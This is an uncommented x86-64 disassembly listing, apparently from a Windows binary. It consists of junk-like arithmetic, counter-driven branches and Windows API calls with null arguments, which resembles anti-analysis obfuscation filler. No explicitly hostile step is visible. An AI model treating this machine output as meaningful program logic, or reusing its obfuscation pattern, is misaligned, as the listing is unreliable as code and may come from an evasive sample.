mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14017703b], al
mov rax, qword [rsp + 0xb400]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xfec], ax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bb8], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb2e8], rax
movzx eax, byte [reloc.SHELL32.dll_PathMakeUniqueName]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1fa], al
mov eax, dword [rsp + 0x492c]
mov ecx, dword [rsp + 0x5834]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b3c], eax
mov eax, dword [rsp + 0x5934]
add eax, 0x96
mov dword [rsp + 0x5934], eax
mov ecx, 7
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x58e8], eax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb1c8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb518], rax
mov rax, qword [rsp + 0xb2b8]
mov rcx, qword [rsp + 0xb1b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x58a8], eax
mov rax, qword [rsp + 0xb458]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb150]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfec], ax
movzx eax, byte [rsp + 0x39c]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x3a0], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateTapePartition]
mov rcx, qword [rsp + 0xb468]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x594c], eax
movzx eax, word [rsp + 0x1bc4]
movzx ecx, word [rsp + 0x1be8]
sub eax, ecx
mov word [0x1401773a4], ax
cmp dword [rsp + 0x5934], 0xb543
jne 0x140018842
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb498]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xa240], rax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xa240]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb0f0], rax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb498]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xb510]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x39f]
or eax, ecx
mov rcx, qword [rsp + 0xb140]
mov byte [rcx], al
mov eax, dword [rsp + 0x5940]
mov ecx, dword [rsp + 0x5814]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x58ec], eax
mov rax, qword [rsp + 0xb188]
mov rcx, qword [rsp + 0xb270]
mov qword [rsp + 0xb540], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb540]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb3f0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
mov eax, dword [rsp + 0x5880]
add eax, 0x58
mov dword [rsp + 0x5880], eax
lea rcx, [rsp + 0x194e8]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xb2c0]
mov rcx, qword [rsp + 0xb160]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5834], eax
movzx eax, word [rsp + 0x1bf0]
movzx ecx, word [rsp + 0x1288]
add eax, ecx
mov word [0x140183b28], ax
movsx eax, word [rsp + 0xfec]
movsx ecx, word [rsp + 0x1bd8]
add eax, ecx
mov word [rsp + 0x1bf4], ax
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x69]
and eax, ecx
mov byte [rsp + 0x3a1], al
movsx eax, word [rsp + 0x1be0]
movsx ecx, word [0x1401773b8]
sub eax, ecx
mov word [rsp + 0x1bb0], ax
mov edx, 0x618d44
mov rcx, qword [rsp + 0xb2d0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5948], eax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1288], ax
cmp dword [rsp + 0x5880], 0x6e0d
jb 0x140018b36
lea rcx, [rsp + 0x18810]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx ecx, word [rsp + 0x1bc8]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1c00], ax
mov rax, qword [rsp + 0xb2c0]
mov eax, dword [rax]
mov dword [rsp + 0x5950], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xa2c0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9f48], rax
cmp dword [rsp + 0x58f0], 0x98da
je 0x14001914a
mov rax, qword [rsp + 0xb1b8]
mov ecx, dword [rsp + 0x5938]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x57a8], eax
mov rcx, qword [rsp + 0xb478]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x58f0]
add eax, 0x71
mov dword [rsp + 0x58f0], eax
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb498]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb360], rax
mov rax, qword [rsp + 0xb400]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb458]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x1401773b8], ax
mov rax, qword [rsp + 0xb3d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39c]
xor eax, ecx
mov byte [rsp + 0x3a0], al
movzx eax, word [rsp + 0x1b20]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xb480]
mov word [rcx], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
movsx eax, byte [rsp + 0x21b]
mov rcx, qword [rsp + 0xb510]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x39d], al
mov rax, qword [rsp + 0xb498]
mov rcx, qword [0x140183b30]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb2b0], rax
mov rax, qword [rsp + 0xb330]
mov rcx, qword [rsp + 0xb2b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x58c4], eax
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb440]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb518], rax
mov rax, qword [rsp + 0xb420]
mov ecx, dword [rsp + 0x53f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x536c], eax
movzx eax, byte [rsp + 0x39b]
movzx ecx, byte [rsp + 0x3a2]
sub eax, ecx
mov rcx, qword [rsp + 0xb2f0]
mov byte [rcx], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bd0]
and eax, ecx
mov word [0x140177390], ax
movsx eax, word [rsp + 0x1bd8]
mov rcx, qword [rsp + 0xb400]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bf4], ax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [0x140183b30]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xb490], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb138]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb360], rax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a0]
add eax, ecx
mov byte [rsp + 0x39e], al
mov eax, dword [rsp + 0x536c]
mov rcx, qword [rsp + 0xb160]
mov qword [rsp + 0xb548], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb548]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4a48], eax
mov rax, qword [rsp + 0xb1b8]
mov rcx, qword [rsp + 0xb2b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x5938], eax
mov rax, qword [rsp + 0x96e8]
mov rcx, qword [rsp + 0xb3f0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1c8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x26bb
mov rcx, qword [rsp + 0xb4e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x58c0], eax
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bd0]
sar eax, cl
mov word [rsp + 0x1bcc], ax
mov rax, qword [rsp + 0xb3d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [0x140183b20]
mov byte [rcx], al
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb320]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb4d0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb510]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x39a], al
mov rax, qword [rsp + 0xb1a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x3a1]
sub eax, ecx
mov byte [rsp + 0x3a3], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb38], ax
mov rax, qword [rsp + 0xb488]
mov rcx, qword [rsp + 0xb2c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x48a8], eax
mov rax, qword [rsp + 0xb1b8]
mov rcx, qword [rsp + 0xb2b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x58c4], eax
mov rax, qword [rsp + 0xb440]
mov rcx, qword [rsp + 0x9800]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x96e8], rax
jmp 0x140018d70
cmp dword [rsp + 0x58e0], 0x380c
je 0x1400193cc
mov rax, qword [rsp + 0xb388]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1b98]
sub eax, ecx
mov word [rsp + 0x1bb0], ax
mov eax, dword [rsp + 0x58e0]
add eax, 0xdf
mov dword [rsp + 0x58e0], eax
movsx eax, word [rsp + 0x1bf8]
movsx ecx, word [rsp + 0x1bd8]
add eax, ecx
mov word [0x1401773b8], ax
mov rax, qword [0x140183b20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fa]
xor eax, ecx
mov rcx, qword [rsp + 0xb1a8]
mov byte [rcx], al
movzx eax, word [rsp + 0xfe8]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x1b94], ax
mov rcx, qword [rsp + 0xb290]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x5804], eax
mov rcx, qword [rsp + 0xb1a0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x5838], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CancelWaitableTimer]
mov rax, qword [rsp + 0xb350]
mov rcx, qword [rsp + 0xb4d0]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xb498]
mov qword [rcx], rax
lea rdx, [rsp + 0xb1e8]
mov rcx, qword [rsp + 0xb2d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5954], eax
mov rax, qword [rsp + 0xb348]
movzx ecx, al
mov rax, qword [rsp + 0xb500]
sar rax, cl
mov qword [rsp + 0xb4d8], rax
mov rax, qword [rsp + 0xb488]
mov ecx, dword [0x1401773a8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x5950], eax
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb408]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb3f0], rax
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [rsp + 0x5894]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x58ec], eax
mov rax, qword [rsp + 0xb3d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39c]
sub eax, ecx
mov byte [rsp + 0x3a5], al
mov rax, qword [rsp + 0xb400]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1401773b8], ax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb510]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x3a4], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bc4], ax
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb250]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xb138], rax
movzx eax, byte [rsp + 0x3a0]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1fa], al
mov eax, dword [rsp + 0x5940]
movzx ecx, al
mov eax, dword [rsp + 0x58d0]
shr eax, cl
mov dword [rsp + 0x5904], eax
lea rdx, [rsp + 0x1a258]
mov rcx, qword [rsp + 0xb1b0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x5914], eax
mov eax, dword [rsp + 0x48a8]
mov ecx, dword [0x1401773a8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x536c], eax
jmp 0x14001914a
mov rax, qword [rsp + 0xa2c0]
mov rcx, qword [rsp + 0xb440]
mov qword [rsp + 0xb550], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb550]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xafe0], rax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb458]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1ba0], ax
movzx eax, word [rsp + 0x1188]
movzx ecx, word [rsp + 0x1bcc]
sub eax, ecx
mov word [0x1401773c0], ax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [0x140177398]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb320], rax
mov rax, qword [rsp + 0xb420]
mov eax, dword [rax]
mov dword [rsp + 0x5958], eax
cmp dword [rsp + 0x5958], 0
je 0x14001947d
cmp dword [rsp + 0x5958], 0x1801
je 0x1400194ba
jmp 0x1400194da
movzx eax, word [rsp + 0x1bf0]
mov word [rsp + 0x1c04], ax
mov rax, qword [rsp + 0xb150]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1ba8]
add eax, ecx
mov word [rsp + 0x1bf4], ax
movzx eax, byte [reloc.SHELL32.dll_PathMakeUniqueName]
mov byte [rsp + 0x3a7], al
jmp 0x1400194da
xor r8d, r8d
lea rdx, [rsp + 0xb388]
lea rcx, [rsp + 0xb288]
call qword [sym.imp.SHELL32.dll_ILIsParent]
mov dword [rsp + 0x5918], eax
mov eax, dword [rsp + 0x53f8]
mov ecx, dword [rsp + 0x5808]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4b3c], eax
mov rax, qword [rsp + 0xb440]
mov rcx, qword [rsp + 0xb270]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xb2b8]
mov rcx, qword [rsp + 0xb330]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4af4], eax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb510]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x21b], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xb230]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
mov word [rsp + 0x1c08], ax
cmp dword [rsp + 0x5884], 0xdc7d
jb 0x140019912
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
add eax, ecx
mov rcx, qword [0x140183b20]
mov byte [rcx], al
mov rax, qword [rsp + 0xb458]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb400]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1bf8], ax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb250]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb398], rax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb250]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb3a0], rax
mov rax, qword [rsp + 0xb440]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb270]
mov qword [rsp + 0xb558], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb558]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xb408], rax
mov eax, dword [rsp + 0x5834]
movzx ecx, al
mov eax, dword [rsp + 0x4b3c]
shl eax, cl
mov dword [rsp + 0x5950], eax
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [rsp + 0x5904]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x58d0], eax
movsx eax, word [rsp + 0x1bb0]
mov rcx, qword [rsp + 0xb400]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xfec], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiber]
mov rax, qword [rsp + 0xb3d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x69]
sub eax, ecx
mov byte [rsp + 0x39b], al
movzx eax, byte [rsp + 0x39c]
movzx ecx, byte [rsp + 0x1fa]
and eax, ecx
mov rcx, qword [0x140183b20]
mov byte [rcx], al
mov rax, qword [rsp + 0xb398]
mov rcx, qword [rsp + 0xb4d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb490], rax
mov rax, qword [rsp + 0xb0f0]
mov rcx, qword [rsp + 0xb4d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb320], rax
movzx ecx, word [rsp + 0x1bb4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1bac], ax
mov rax, qword [rsp + 0xb3d8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [rsp + 0x5894]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4af4], eax
mov rcx, qword [rsp + 0xb2d0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x57fc], eax
mov rax, qword [rsp + 0xb160]
mov rcx, qword [rsp + 0xb420]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x492c], eax
movsx eax, byte [rsp + 0x3a6]
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x39f], al
mov rcx, qword [rsp + 0xb468]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0xb270]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9f48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
movzx eax, word [rsp + 0xaec]
movzx ecx, word [rsp + 0x1c08]
add eax, ecx
mov word [rsp + 0x1ba4], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb1a8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [0x140177038], al
mov eax, dword [rsp + 0x5884]
sub eax, 0xdc
mov dword [rsp + 0x5884], eax
movzx eax, word [rsp + 0x1a2c]
mov rcx, qword [rsp + 0xb1d8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1bb8], ax
mov rax, qword [rsp + 0xb458]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bf8]
or eax, ecx
mov word [rsp + 0x1ba8], ax
mov rax, qword [rsp + 0xb258]
movsx eax, word [rax]
movsx ecx, word [0x1401773b8]
shl eax, cl
mov word [rsp + 0x1ba8], ax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x595c], eax
mov rax, qword [rsp + 0xb130]
mov rcx, qword [rsp + 0xafe0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f48], rax
mov rax, qword [rsp + 0xb200]
mov rcx, qword [rsp + 0xb2c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x5808], eax
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [rsp + 0x58b0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x58ec], eax
mov rax, qword [rsp + 0xb458]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1bd8], ax
movzx eax, byte [rsp + 0x3a3]
movzx ecx, byte [rsp + 0x69]
sub eax, ecx
mov byte [rsp + 0xee], al
jmp 0x14001957b
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bd0]
add eax, ecx
mov word [0x140177390], ax
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb490]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb250], rax
mov rax, qword [rsp + 0xb350]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb500]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb180], rax
mov rcx, qword [rsp + 0xb2d0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x5830], eax
mov r9d, 0x58f
xor r8d, r8d
lea rdx, [rsp + 0xb338]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x5828], eax
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov qword [rsp + 0xb560], rax
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1c08], ax
movsx eax, byte [rsp + 0x3a6]
movsx ecx, byte [rsp + 0x39d]
shl eax, cl
mov byte [rsp + 0x264], al
cmp dword [rsp + 0x5924], 0xf99e
ja 0x140019cfa
mov eax, dword [0x140183b44]
mov ecx, dword [rsp + 0x4a48]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f8], eax
movzx ecx, word [rsp + 0x1bb4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1c0c], ax
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [rsp + 0x57a8]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x4af4], eax
mov rax, qword [rsp + 0xb440]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xb3f0]
shr rax, cl
mov qword [rsp + 0x9800], rax
movzx eax, byte [reloc.SHELL32.dll_PathMakeUniqueName]
movzx ecx, byte [rsp + 0x1fa]
and eax, ecx
mov byte [0x140183b48], al
movsx eax, word [rsp + 0x1bd8]
mov rcx, qword [rsp + 0xb388]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfec], ax
lea rdx, [rsp + 0xb1e8]
mov rcx, qword [rsp + 0xb2d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5948], eax
movzx eax, word [rsp + 0x1b20]
movzx ecx, word [0x1401773c0]
add eax, ecx
mov word [rsp + 0xb38], ax
movsx eax, word [rsp + 0x1bf8]
mov rcx, qword [rsp + 0xb458]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xb388]
mov word [rcx], ax
mov eax, dword [rsp + 0x5924]
add eax, 0x99
mov dword [rsp + 0x5924], eax
movzx eax, byte [rsp + 0x3a2]
mov rcx, qword [rsp + 0xb2f0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x69], al
mov rax, qword [rsp + 0xb270]
mov rcx, qword [rsp + 0xb440]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x9f48], rax
mov rcx, qword [rsp + 0xb2d0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x58ac], eax
mov rax, qword [rsp + 0xb160]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4b3c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x53f8], eax
mov rax, qword [rsp + 0xb330]
mov eax, dword [rax]
mov ecx, dword [0x1401773a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x58a8], eax
mov rax, qword [rsp + 0xb498]
mov rcx, qword [rsp + 0xb348]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb560], rax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0xb1f8], rax
mov rax, qword [rsp + 0xb480]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1bd0]
sub eax, ecx
mov word [0x1401773a4], ax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xb3d8]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0xb458]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bb0]
shl eax, cl
mov word [rsp + 0x1be0], ax
mov rax, qword [rsp + 0xb140]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x38b]
sar eax, cl
mov byte [rsp + 0x26c], al
mov rax, qword [rsp + 0xb498]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb3a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xb490], rax
mov eax, dword [rsp + 0x536c]
mov ecx, dword [rsp + 0x5950]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x492c], eax
mov rax, qword [rsp + 0xb2b8]
mov ecx, dword [rsp + 0x58ec]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xb1b8]
mov dword [rcx], eax
mov rax, qword [0x1401773b0]
mov rcx, qword [rsp + 0x9f48]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rcx, qword [rsp + 0xb390]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x5960], eax
mov rax, qword [rsp + 0xb3d8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x39e]
sub eax, ecx
mov byte [rsp + 0x3a7], al
mov rax, qword [rsp + 0xb1d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb480]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x140177390], ax
jmp 0x1400199f4
mov rax, qword [rsp + 0xb400]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bf8]
add eax, ecx
mov word [rsp + 0x1bf4], ax
mov rax, qword [rsp + 0xb138]
mov qword [rsp + 0xb568], rax
movsx eax, byte [rsp + 0x26c]
movsx ecx, byte [rsp + 0x3a6]
and eax, ecx
mov rcx, qword [rsp + 0xb140]
movsx ecx, byte [rcx]
movsx edx, byte [rsp + 0x3a4]
sub ecx, edx
cmp eax, ecx
jl 0x140019e6c
mov rcx, qword [rsp + 0xb478]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x58e8], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x5828], eax
mov rax, qword [rsp + 0xb2b0]
mov rcx, qword [rsp + 0xb498]
mov qword [rsp + 0xb570], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb570]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xb568], rax
mov rax, qword [rsp + 0xb2f0]
movzx eax, byte [rax]
mov rcx, qword [0x140183b20]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x3a2], al
